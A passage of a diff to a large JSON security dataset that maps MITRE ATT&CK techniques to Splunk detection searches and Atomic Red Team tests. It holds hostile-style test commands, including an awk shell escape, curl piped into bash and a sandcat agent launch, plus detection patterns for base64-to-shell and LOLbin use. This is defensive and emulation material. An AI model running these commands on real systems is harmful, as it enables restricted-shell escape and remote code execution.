0) | search isOutlier=1 | rename Workstation as src |`windows_unusual_count_of_invalid_users_failed_to_auth_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $src$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate from", + "target_data_element": "ip", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Users Fail To Auth Wth ExplicitCredentials", - "description": "The following analytic identifies a source user failing to authenticate with multiple users using explicit credentials on a host. It leverages Windows Event Code 4648 and calculates the standard deviation for each host, using the 3-sigma rule to detect anomalies. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or further compromise of the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4648 Caller_User_Name!=*$ Target_User_Name!=*$ | bucket span=5m _time | stats dc(Target_User_Name) AS unique_accounts values(Target_User_Name) as user by _time, Computer, Caller_User_Name | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by Computer | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_fail_to_auth_wth_explicitcredentials_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential password spraying attack from $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate from", + "target_data_element": "port", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Users Failed To Auth Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate multiple valid users using the Kerberos protocol, potentially indicating a Password Spraying attack. It leverages Event 4771, which is generated when the Key Distribution Center fails to issue a Kerberos Ticket Granting Ticket (TGT) due to a wrong password (failure code 0x18). This detection uses statistical analysis, specifically the 3-sigma rule, to identify unusual authentication failures. If confirmed malicious, this activity could allow an attacker to gain initial access or elevate privileges within an Active Directory environment.", - "search": "`wineventlog_security` EventCode=4771 TargetUserName!=\"*$\" Status=0x18 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_failed_to_auth_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "application", + "relationship": "attempted to authenticate", + "target_data_element": "user", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Users Failed To Authenticate From Process", - "description": "The following analytic identifies a source process failing to authenticate multiple users, potentially indicating a Password Spraying attack. It leverages Windows Event 4625, which logs failed logon attempts, and uses statistical analysis to detect anomalies. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, the attacker could compromise multiple accounts, leading to unauthorized access, data exfiltration, or further lateral movement within the network.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=2 ProcessName!=\"-\" | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, ProcessName, SubjectUserName, Computer | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by ProcessName, SubjectUserName, Computer | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_failed_to_authenticate_from_process_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential password spraying attack from $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "cloud service", + "relationship": "attempted to authenticate", + "target_data_element": "user", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Users Failed To Authenticate Using NTLM", - "description": "The following analytic identifies a source endpoint failing to authenticate multiple valid users using the NTLM protocol, potentially indicating a Password Spraying attack. It leverages Event 4776 from Domain Controllers, calculating the standard deviation for each host and applying the 3-sigma rule to detect anomalies. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, the attacker could compromise multiple accounts, leading to unauthorized access and potential lateral movement within the network.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xC000006A | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, Workstation | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by Workstation | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_failed_to_authenticate_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Workstation", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $Workstation$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "application log", + "definition": "Logs from events in third-party applications (mail server, web applications, etc.).", + "collection_layers": [ + "host", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Google Workspace" + ], + "contributors": [ + "ATT&CK" + ], + "data_component": "application log content", + "type": "information", + "description": "Data captured in an application log.", + "source_data_element": "application log", + "relationship": "contained", + "target_data_element": "application event entries", + "references": [ + "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + ] }, - { - "name": "Windows Unusual Count Of Users Remotely Failed To Auth From Host", - "description": "The following analytic identifies a source host failing to authenticate against a remote host with multiple users, potentially indicating a Password Spraying attack. It leverages Windows Event 4625 (failed logon attempts) and Logon Type 3 (remote authentication) to detect this behavior. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and further compromise of the network.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=3 IpAddress!=\"-\" | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, IpAddress, Computer | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress, Computer | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_remotely_failed_to_auth_from_host_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack on $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] + [ + { + "Event ID": "4624", + "Event Name": "Authentication logs" } - } + ], + [ + { + "Event ID": "4624", + "Event Name": "Authentication logs" + } + ] ], "external_reference": [ [ @@ -536199,6 +362415,7 @@ "export ART='echo \"Atomic Red Team was here... T1059.004\"'\necho $ART |/bin/sh\n", "cd /tmp\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh |bash\nls -la /tmp/art.txt \n", "uname -srm\n", + "awk 'BEGIN {system(\"/bin/sh &\")}'", "nohup ./sandcat.go -server #{server} &\n", "nohup ./sandcat.go -server #{server} &\n" ], @@ -536225,10 +362442,15 @@ "description": "Script path", "type": "path", "default": "/tmp/art.sh" + }, + "host": { + "description": "Host to ping", + "type": "string", + "default": "8.8.8.8" } }, "executor": { - "command": "sh -c \"echo 'echo Hello from the Atomic Red Team' > #{script_path}\"\nsh -c \"echo 'ping -c 4 8.8.8.8' >> #{script_path}\"\nchmod +x #{script_path}\nsh #{script_path}\n", + "command": "sh -c \"echo 'echo Hello from the Atomic Red Team' > #{script_path}\"\nsh -c \"echo 'ping -c 4 #{host}' >> #{script_path}\"\nchmod +x #{script_path}\nsh #{script_path}\n", "cleanup_command": "rm #{script_path}\n", "name": "sh" } @@ -536454,6 +362676,19 @@ "elevation_required": false, "command": "uname -srm\n" } + }, + { + "name": "Shell Creation using awk command", + "auto_generated_guid": "ee72b37d-b8f5-46a5-a9e7-0ff50035ffd5", + "description": "In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.\nReference - https://gtfobins.github.io/gtfobins/awk/#shell", + "supported_platforms": [ + "linux", + "macos" + ], + "executor": { + "command": "awk 'BEGIN {system(\"/bin/sh &\")}'", + "name": "sh" + } } ] } @@ -536644,296 +362879,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Linux Decode Base64 to Shell", - "description": "The following analytic detects the decoding of base64-encoded data and its execution in a Linux shell. It leverages the Endpoint.Processes data model to search for commands like \"base64 -d\" and \"base64 --decode\" combined with Linux shell execution. This activity is significant because base64 encoding is often used to obfuscate malicious commands or payloads, indicating potential malicious activity. If confirmed malicious, this behavior could allow an attacker to execute unauthorized commands, gain unauthorized access, exfiltrate data, or perform other harmful actions on the Linux system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*base64 -d*\",\"*base64 --decode*\") AND Processes.process=\"*|*\" `linux_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_decode_base64_to_shell_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ decoding base64 and passing it to a shell.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Linux Unix Shell Enable All SysRq Functions", - "description": "The following analytic detects the execution of a command to enable all SysRq functions on a Linux system, a technique associated with the AwfulShred malware. It leverages Endpoint Detection and Response (EDR) data to identify processes executing the command to pipe bitmask '1' to /proc/sys/kernel/sysrq. This activity is significant as it can indicate an attempt to manipulate kernel system requests, which is uncommon and potentially malicious. If confirmed, this could allow an attacker to reboot the system or perform other critical actions, leading to system instability or further compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"dash\", \"sudo\", \"bash\") Processes.process = \"* echo 1 > *\" Processes.process = \"*/proc/sys/kernel/sysrq\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_unix_shell_enable_all_sysrq_functions_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ execute sysrq command $process$ to enable all function of system request in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "MacOS LOLbin", - "description": "The following analytic detects multiple executions of Living off the Land (LOLbin) binaries on macOS within a short period. It leverages osquery to monitor process events and identifies commands such as \"find\", \"crontab\", \"screencapture\", \"openssl\", \"curl\", \"wget\", \"killall\", and \"funzip\". This activity is significant as LOLbins are often used by attackers to perform malicious actions while evading detection. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "`osquery` name=es_process_events columns.cmdline IN (\"find*\", \"crontab*\", \"screencapture*\", \"openssl*\", \"curl*\", \"wget*\", \"killall*\", \"funzip*\") | rename columns.* as * | stats min(_time) as firstTime max(_time) as lastTime values(cmdline) as cmdline, values(pid) as pid, values(parent) as parent, values(path) as path, values(signing_id) as signing_id, dc(path) as dc_path by username host | rename username as user, cmdline as process, path as process_path, host as dest | where dc_path > 3 | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `macos_lolbin_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiplle LOLbin are executed on host $dest$ by user $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Suspicious Linux Discovery Commands", - "description": "The following analytic detects the execution of suspicious bash commands commonly used in scripts like AutoSUID, LinEnum, and LinPeas for system discovery on a Linux host. It leverages Endpoint Detection and Response (EDR) data, specifically looking for a high number of distinct commands executed within a short time frame. This activity is significant as it often precedes privilege escalation or other malicious actions. If confirmed malicious, an attacker could gain detailed system information, identify vulnerabilities, and potentially escalate privileges, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) values(Processes.process_name) values(Processes.parent_process_name) dc(Processes.process) as distinct_commands dc(Processes.process_name) as distinct_process_names min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where [|inputlookup linux_tool_discovery_process.csv | rename process as Processes.process |table Processes.process] by _time span=5m Processes.user Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| where distinct_commands > 40 AND distinct_process_names > 3| `suspicious_linux_discovery_commands_filter`", - "tags": { - "analytic_story": [ - "Linux Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious Linux Discovery Commands detected on $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - } - ] - } } ], "external_reference": [ @@ -539137,5798 +365082,6 @@ "source_data_element": "sensor health", "relationship": "contained", "target_data_element": "host system status" - }, - { - "name": "Add or Set Windows Defender Exclusion", - "description": "The following analytic detects the use of commands to add or set exclusions in Windows Defender. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"Add-MpPreference\" or \"Set-MpPreference\" with exclusion parameters. This activity is significant because adversaries often use it to bypass Windows Defender, allowing malicious code to execute undetected. If confirmed malicious, this behavior could enable attackers to evade antivirus detection, maintain persistence, and execute further malicious activities without interference from Windows Defender.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*Add-MpPreference *\" OR Processes.process = \"*Set-MpPreference *\") AND Processes.process=\"*-exclusion*\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `add_or_set_windows_defender_exclusion_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CISA AA22-320A", - "Data Destruction", - "Remcos", - "WhisperGate", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "exclusion command $process$ executed on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Attempt To Stop Security Service", - "description": "The following analytic detects attempts to stop security-related services on an endpoint, which may indicate malicious activity. It leverages data from Endpoint Detection and Response (EDR) agents, specifically searching for processes involving the \"sc.exe\" command with the \"stop\" parameter. This activity is significant because disabling security services can undermine the organization's security posture, potentially leading to unauthorized access, data exfiltration, or further attacks like malware installation or privilege escalation. If confirmed malicious, this behavior could compromise the endpoint and the entire network, necessitating immediate investigation and response.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` OR Processes.process_name = sc.exe Processes.process=\"* stop *\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |lookup security_services_lookup service as process OUTPUTNEW category, description | search category=security | `attempt_to_stop_security_service_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Data Destruction", - "Disabling Security Tools", - "Graceful Wipe Out Attack", - "Trickbot", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { 